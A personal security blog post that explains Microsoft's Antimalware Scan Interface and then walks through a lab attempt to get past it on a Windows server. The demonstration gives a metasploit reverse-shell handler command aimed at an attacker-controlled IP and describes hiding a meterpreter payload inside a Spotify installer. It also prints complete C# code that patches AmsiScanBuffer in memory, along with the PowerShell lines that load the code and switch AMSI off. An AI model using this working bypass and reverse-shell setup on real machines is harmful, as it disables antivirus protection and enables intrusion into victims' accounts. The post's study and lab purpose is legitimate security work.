Introduction

In the ongoing battle against malware, Microsoft has introduced various protective layers over the years. One such tool in their arsenal is the Antimalware Scan Interface (AMSI). But what is AMSI, and how does it work? Let’s dive deep.

1. What is AMSI?

AMSI is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It's a versatile tool to detect malicious scripts, even if they're obfuscated, by allowing the content to be examined at runtime.

2. Why AMSI?

In the modern threat landscape, malware often disguises itself using various obfuscation techniques. Traditional signature-based detections can sometimes fail against such strategies. AMSI aims to bridge this gap by providing a mechanism to inspect content more deeply and in its "raw" form during execution.

3. How Does AMSI Work?

At its core, AMSI operates through a collaboration between "consumers" and "providers":

Consumers: Applications requesting a scan (e.g., script hosts, PowerShell, and others).
Providers: Antimalware products installed on the system.

When a consumer wants to inspect content, it sends a request to the AMSI provider, which scans the content and returns a verdict.

4. The Role of Consumers and Providers

Consumers in the context of AMSI refer to the host applications or services that request scans to detect potentially malicious content. These include:

PowerShell (>2.0): Microsoft's task automation framework. With AMSI integration, malicious PowerShell scripts, especially those that run in memory or are obfuscated, can be inspected during execution.
JavaScript & VBScript: Popular scripting languages commonly used in web development. Through AMSI, obfuscated or harmful scripts running on websites can be scanned.
VBA (Office Macros): Macros embedded in Office documents can often be malicious. AMSI can scan these macros before they execute, offering an additional layer of protection.
WMI: Windows Management Instrumentation scripts, often used for system management, can also be weaponized. With AMSI, these scripts can be inspected for malicious content.
User Account Control (UAC) Elevations: Requests for elevated permissions can be inspected to determine if they're genuine or if they're being triggered by malicious software.
Excel 4.0 Macros: Older macros from Excel can be exploited. Through AMSI, these are not overlooked and can be scanned for threats.
Volume Shadow Copy Operations: Malicious actors might use shadow copies for nefarious purposes. AMSI can scan these operations to detect abnormal behavior.
.NET in-memory assembly loads: Loading assemblies in memory can be a technique to evade detection. With AMSI, these in-memory loads can be inspected.

Providers:

Providers are essentially the antimalware solutions installed on the system. They are responsible for scanning the content that consumers provide and returning a judgment. Examples include:

Microsoft: Microsoft's Defender Antivirus uses AMSI to scan potentially harmful content, offering native protection to Windows users.
CrowdStrike: An advanced threat protection solution that integrates with AMSI to offer real-time protection against sophisticated threats.
[Other Antimalware Vendors]: Many antimalware solutions on the market leverage AMSI to enhance their detection capabilities and protect users better.

These providers continuously update their threat definitions and use AMSI as an interface to scan content in real-time, ensuring a proactive approach to threat detection and prevention.

5. How Developers Make AMSI Requests

When developers want to integrate AMSI into their applications, they'll generally follow these steps:

Initialize AMSI using AmsiInitialize.
For every piece of content to be checked, they'll call AmsiScanBuffer.
Once the checks are complete or the application closes, they'll close the AMSI session with AmsiUninitialize.

6. Deep Dive into Key Functions

AmsiInitialize: This function initializes the AMSI context. Developers will need to call this before making any scan requests.
AmsiScanBuffer: This is perhaps the most critical function. It scans a buffer containing the content (e.g., a script) and returns the result. The beauty of this function is that it allows for real-time inspection, making it tough for malware to hide or obfuscate its intent.

7. Understanding Process Memory Layout

When integrating with AMSI, understanding the process memory layout is crucial. The AMSI DLL will be loaded into the application's process memory. It's essential to be aware of how buffer contents, especially potentially malicious ones, interact with the memory space to ensure they're correctly handed over to the AMSI provider without interference.

8. The Importance of AmsiScanBuffer

AmsiScanBuffer is a cornerstone because it scans the provided buffer content against the registered antimalware solution. The ability to scan arbitrary buffers means that almost any content type, whether it's a script, a macro, or other code, can be checked before execution.

9. Why Isn't AMSI Foolproof?

Like any security measure, AMSI isn't impenetrable. Skilled attackers may attempt to:

Unload the AMSI DLL from memory.
Patch memory locations to bypass AMSI functions.
Use in-memory attacks to evade detection.

I will be showing you a couple of these attacks in the following demonstration.

10. Demonstration

I originally started researching AMSI bypass techniques while doing my OSCP training and labs, but after obtaining the cert I had gotten a little rusty in that area. During the most recent "Mr. Robot Monday", I struggled to perform some simple tasks such as transferring files to the target machine thanks to AMSI. This made me realize that I had forgotten quite a bit about AMSI and bypass techniques, so I decided I would make this post so that not only you the reader can understand it, but to help me remember everything that I had forgotten. With this demonstration, I'm also going to include my failures while researching. I feel that it's important to remember from your failures as well as identifying your successes.

I booted up a VPS with Kali Linux installed on it, and then booted up another VPS with Windows 2019 Server and all of the latest patches installed on it. I created an account on the Windows machine with the username of "John". I simulated that I managed to get RDP on John's account, but was unable to run any priv esc tools such as mimikatz or even able to send reverse shells as it's easier to work with a reverse shell than RDP into the machine (for me at least, it's my preference to work from a reverse shell).
The Kali Linux IP address was 172.105.153.102.

The Windows Server IP address was 149.28.207.111

Originally, I tried creating an msfvenom stageless reverse shell. I knew for a fact that this wouldn't work, but wanted to ensure Windows Defender was doing it's job correctly.

As you can see, I'm terrible at typing when I'm in a hurry, so what I meant to be "shell.exe" is actually "shel.exe". Sue me. lol. I then tried to transfer the payload to the Windows server using certutil.

I ran the certutil command and was immediately notified that Windows Defender Antivirus found threats! Well, that's good for our fake user John, because without this, we'd have our reverse shell and would be loading all kinds of tools onto his computer to try and get admin privileges. Unfortunately for us, this Windows Defender is taking it's job seriously. I had to pull out the big guns...PowerShell!

I switched to PowerShell and immediately tried to download the shell.exe file to the Windows Server using Invoke-WebRequest command instead of using certutil.

Blocked again! AMSI got me again! But I noticed that the server actually did reach my Kali machine this time.

So it sent a GET request for our shel.exe! That means it downloaded the file right?!? WRONG! Windows Defender automatically quarantines files it deems malicious. So when you look at the directory after trying to download, there is no shel.exe

As you can see from this screen shot, I tried quite a bit of things, which we will get into soon. I wanted to show that Defender quarantines malicious files and logs them.

My next thought was that since Windows Defender was picking up on my malicious .exe file, I needed to obfuscate it. I remembered using the program "Shellter" while studying for my OSCP exam. Shellter is supposed to bypass AMSI by obfuscating malicious code to bypass triggers. So I fired it up and gave it a shot. I also downloaded a legitimate .exe file from the wonderful music app, Spotify. The name of the Spotify installer was SpotifySetup.exe.

I used shellter to hook a meterpreter payload into a legitimate .exe file. I set up a listener on metasploit using the following command.

msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 172.105.153.102;set LPORT 443;run;"

I then tried to transfer our new "legit" payload over to our target machine using PowerShell.

As you can see, we once again got hit by AMSI!!! It would not write SpofitySetup.exe to file, and for good reason. Imagine if the user John had downloaded this file to his machine unknowing that as soon as he opened it, a hacker would have full control over his account and he would just think he's installing Spotify. To demonstrate that aspect, I tried downloading the same file from the web browser.

It looks like it's giving me the option to Run the file or save, I'm going to just Run it!

AMSI got me! This was to be expected as it wouldn't work in PowerShell either. This is a good way to tell you, trust your A/V and Windows Defender notifications! I know people, who I won't namedrop *cough* Sam Lewis *cough* who would sometimes think Defender was wrong and disabled it. Don't do this unless you're absolutely sure about the file and what's happening. If you're like me and doing some security research, then you're probably going to come across "viruses and trojans" and all kinds of malicious content. In this case, I'm the one that made it! But if you've downloaded a file you think is unrelated to anything like this, trust Defender. As a side note, I also tried encoding payloads in base64 as well and it did not work either.

Now, enough trying to hide my malicious file, lets attack the core problem head on, AMSI! I pulled up PowerShell again. And decided to test the trigger words "amsiutils".

As you can see, it is a trigger string and is blocked by our antivirus software. This means that even some strings can make AMSI detect things even if it's not malicious at all! Well great, AMSI is paranoid that this point, what am I supposed to do?!? I found a technique to bypass this string based detection. I would split up the string and combine it from two different variables.

As you can see, I set two variables, the first one $first=amsi and the second one $last=utils. When I would combine the two variables, the output would be our banned string! Notice how there is no "blocked by your antivirus" message this time. This means we bypassed the string based detection. While this is cool and we are practically world class hackers at this point, we need to do more than just bypass the string based detection. We need to be able to execute scripts.

I tried running a PowerShell one liner reverse shell as well just to test it out since it is a script I want to execute.

I got the same result, that it's been blocked by AV software. Awesome, this box is decently secured right?! Wrong. I'm going to find a way to get that same reverse shell on this machine on this account!

After a TON of reading, I discovered a technique to not only bypass, but actually disable AMSI by memory patching. I found THIS article that was amazingly helpful. For the TL;DR, it covers:

AMSI's Transition from AmsiScanString to AmsiScanBuffer: Microsoft no longer uses AmsiScanString for scanning user inputs in PowerShell, opting instead for AmsiScanBuffer.
Defender's Response: When they executed the PowerShell MimiKatz payload on Windows 10 version 14393, it was detected by Defender using the AmsiScanBuffer, triggering an error.

The Adapted Bypass Technique:

They aimed to bypass this updated defense by targeting and patching the new AmsiScanBuffer function. The goal was simple: modify the function so that the buffer length it scans is zero. To achieve this, they patched the function to reset its buffer length.

AMSI_BYPASS2: A Streamlined C# Version:

With the new approach determined, they developed AMSI_BYPASS2, a C# version of the bypass tool. This doesn't require the loading of a native unmanaged DLL. The C# code can be integrated directly, making it more streamlined than their prior solution.

I then used their old bypass method and made the edits to it that they explained with their version 2 of the bypass. I wasn't entirely sure if this was going to work as it was written and published in 2018. I made a few slight modifications to the final script as well to avoid using the trigger words. I compiled this C# script to a .dll file.

using System;
using System.Runtime.InteropServices;

namespace Myspace
{
    public class New
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: http://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

The script works by:

Loading the amsi.dll using LoadLibrary.
Getting the address of the AmsiScanBuffer function within amsi.dll using GetProcAddress.
Changing the memory protection of the first few bytes of the AmsiScanBuffer function to allow modifications (making it writable) using VirtualProtect.
Patching the AmsiScanBuffer function to neutralize it.

I saved the script as "script.cs" compiled this using the following command to "Bp.dll"

mcs -target:library script.cs -out:Bp.dll

I then transferred the .dll file over to the target machine via PowerShell. It was NOT quarantined this time and actually saved to disk! I then ran the following commands to load and execute the file into the current session.

[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\\Bp.dll"))

[Myspace.New]

[Myspace.New]::Disable()

After running the commands I was told that the AmsiScanBuffer patch had been applied! I immediately tried our string-based detection trigger string of "amsiutils" that we tried previously and was blocked from typing. IT WORKED THIS TIME!

Now we had completely disabled AMSI in this PowerShell session! AMSI 23984982374, Sam: 1! It doesn't matter how many times I fail though, I just need AMSI to fail once so I can get in. Remember that the next time you blame blue team for missing things. They have to be perfect 100% of the time, hackers just have to get lucky once.

Now that we have taken down this monstrous beast, lets try to get that reverse shell we've been seeking after! I started a netcat listener on port 443 on the Kali machine. I then ran the same PowerShell one liner reverse shell script that I tried before, and low and behold, IT WORKED!

BOOM! Take that AMSI! Now I could load all of my priv esc tools onto this machine and go after an administrator account. This technique was very simple to use, but a friend sent me another possible bypass to try as well. This was just published last week and is nothing short of amazing. The bypass can be found HERE. A simple overview of how this bypass works, and you can read more in it's ChatGPT conversation:

Two strings, A & B, are initialized in memory.
The code uses reflection (specifically, the GetType and GetField methods) to access type and field information. This is done in memory.
It modifies the value of a specific field in memory, setting it to $true.

There's no file I/O operation in the provided script. The code dynamically accesses and modifies types and fields in the currently loaded assemblies in memory.

I copied the code and put it into a script on the Windows server and named it bp.ps1. I tested out our string based detection using "amsiutils" to make sure it was working again after closing out the previous PowerShell session as it was only loaded in that session. Once I found out AMSI was operating again, I ran the bp.ps1 script. There was no error, so I assumed it was now in memory! I then ran the previously used banned string "amsiutils" and I was able to run that without AMSI getting me!

The better thing about this bypass, is that it wasn't just specific to the PowerShell session! So if I closed PowerShell and opened it again, it would still be bypassing AMSI until the machine restarts. From here you can upload all kinds of scripts and tools without fear of getting shut down and detected by AMSI. This layer of defense is always extremely frustrating for me, especially if I'm working blind, but with these techniques in my back pocket now, I don't think there will be a machine I get stuck on due to AMSI. If you've made it this far, go ahead and click a thumbs up, leave a comment if you liked or hated this, let me know your thoughts or questions. I had a really good time doing this, but it wouldn't be possible without the following references that I used.

0X00-0x00, Cyberark, "_derpman"- I don't know his real name lol, but he pointed me to this final reference: Jeff McJunkin

-Sam

AMSI Got Me! ...Or Did It? Exploring Bypass Techniques